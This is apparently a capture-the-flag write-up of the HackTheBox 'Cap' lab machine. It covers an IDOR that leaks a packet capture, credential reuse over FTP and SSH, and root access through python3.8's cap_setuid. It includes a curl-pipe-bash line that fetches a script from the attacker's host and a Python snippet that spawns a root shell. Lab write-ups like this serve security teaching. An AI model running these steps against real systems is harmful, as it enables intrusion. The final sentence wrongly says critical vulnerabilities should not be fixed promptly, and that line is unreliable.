Cap — HackTheBox
Cap is a relatively easy machine featuring an HTTP server designed to perform administrative functions such as network captures. A vulnerability in the web app leads to harvesting of credentials of the target system and is followed by a privilege escalation.
Machine Link: https://app.hackthebox.com/machines/Cap
Let’s get started!
Let’s start by performing an nmap scan on the target IP
/> nmap -sC -sV 10.129.142.65 -T4
- -sC: Runs a script scan with the set of default scripts.
- -sV: Enables service and version detection.
- -T4: Aggressive timing template that enables high speed scan
We can see that 3 ports are open on the target host:
- Port 21: FTP (vsftpd 3.0.3)
- Port 22: SSH (OpenSSH 8.2p1)
- Port 80: HTTP (Dashboard of Gunicorn)
Port 80 tells us that the target host is a web server and as http-title says, it is a Dashboard page for Gunicorn.
Let’s visit the webpage.
It is a dashboard which appears to be monitoring the security events happening on the system. There are also other pages providing IP configuration, network status of the system and a packet capture record.
Navigating to the security snapshot page shows us the summary of the packet capture. If we see on the address bar / URL bar on top, it is fetching the response which is linked to a specific id. Here the value of id is 3.
One of the most obvious thing to try here is to check for IDOR (Insecure Direct Object Reference).
WHAT IS IDOR?
Insecure Direct Object Reference (IDOR) is a vulnerability where the attacker or user is able to access or modify the data objects by manipulating identifiers (ID’s) in the URL or Request Parameters.
This vulnerability arises due to missing access control checks which fail to verify whether the user has permission to access the resource or not.
Example:
- Imagine a website where users can view and download their own bank statements.
- When Steve logs in, he sees his bank statement at:
https://example.com/stmt/123 - Here,
123is the unique ID of Steve's bank statement. Steve can view and download this bank statement because he owns it. - Now, Steve notices that the bank statement ID is present in the URL. Out of curiosity, he changes
123to124:https://example.com/stmt/124 - This time, the website displays an bank statement belonging to Alex.
- The problem? Steve is logged in as himself, but the website allows him to access Alex’s private bank statement without checking whether he actually owns it.
- This is an example of an IDOR vulnerability.
Let’s get back to the Gunicorn dashboard and test if IDOR exists. We will simply change the ID in URL from 3 to 0.
Well look at that! Now it is showing an entire different packet capture data! Let’s download it and see what it contains. You can open the downloaded PCAP file in Wireshark.
Looks like our friend Nathan is trying to log in using FTP. We found a username to log into the target host. Surely a password is also lying thre somewhere…
There it is! The password is here too! And just like that, we can access the target system as Nathan.
/> ftp 10.129.142.65
And we’re in! Let’s see which directory we are in.
Get Darsh Mohile’s stories in your inbox
Join Medium for free to get updates from this writer.
/> pwd
We are in home directory of nathan. Right where the user flag is (user.txt)! Fetch the flag file and cat it to find the flag.
/> get user.txt
After exiting the FTP connection, cat the user.txt.
One thing to remember: Most of the times, FTP login credentials work sor SSH too, because using both protocols we are logging into the same user account on the system.
/> ssh nathan@10.129.142.65
And we’re in! As we already captured the user flag, we can go for the root flag. For that, what we need to do is…. Privilege Escalation! We currently don’t have root access. we are not permitted to read or write into /root directory.
One of the tools used to identify privilege escalation vectors is linpeas.
WHAT IS LINPEAS?
linpeas is an acronym that stands for “Linux Privilege Escalation Awesome Script”. Yes, that is the actual name of the script. It is a script that is used to identify potential privilege escalation vectors after gaining a foothold in a system.
It performs an audit of the target environment, scanning for misconfigurations, weak permissions, exposed sensitive data, and known security flaws that could be leveraged to gain elevated access.
linpeas is the most common tool used in CTFs and challenges to detect privilege escalation.
First, we need to download the actual script. It can be downloaded from the link given below. Download the release named linpeas.sh . When working with windows system, we can use winpeas.bat.
After downloading, we have to deliver the script to the target host. We can do it by starting a python server on attacker machine and running cURL on target machine to fetch and execute the script.
Go to the directory where the script is downloaded (commonly /home/kali/Downloads). Start a python server there.
/> python3 -m http.server 4444
Now on Nathan’s shell, use cURL to read the script and pipe it into bash to execute it simultaneously.
/> curl http://10.10.16.249:4444/linpeas.sh | bash
Once the execution is over, we look at the output. Under “Processes with capability sets” we can see that python3.8 is listed. Specifically, python has the permission to use cap_setuid.
WHAT IS CAP_SETUID?
CAP_SETUID is a Linux kernel capability that allows a process to make arbitrary manipulations of its user ID (UID), including switching to the root user (UID 0).
Which means, if python sets its own UID to 0, python gains the root privileges and anything executed after that will be executed as a root user.
To use the setuid feature, we will write a simple python code that modifies its own UID and runs a shell as root. Run python in Nathan’s system.
/> python3.8
Now we write the code:
>>> import os>>> os.setuid(0)>>> os.system(“/bin/bash”)
What this code does:
- Imports os library to interact with the operating system.
- Changes the UID of current python process to 0 and gains root privileges.
- Spawns an interactive root shell (
/bin/bash)
And we have root privileges! Now we go to /root directory and see what is in there. The root flag!
Simply cat the root.txt and we have the flag!
Insecure object-level authorization exposed the packet capture data which should be confidential. The packet capture disclosed the credentials for the FTP login and reuse of credentials lead to a foothold through SSH. Lastly, as overly permissive Python capability enabled privilege escalation.
See how one single vulnerability lead to compromising of whole system? That is why critical vulnerabilities should not be fixed as soon as possible.
Keep going, keep solving the labs and I will see you in the next one!
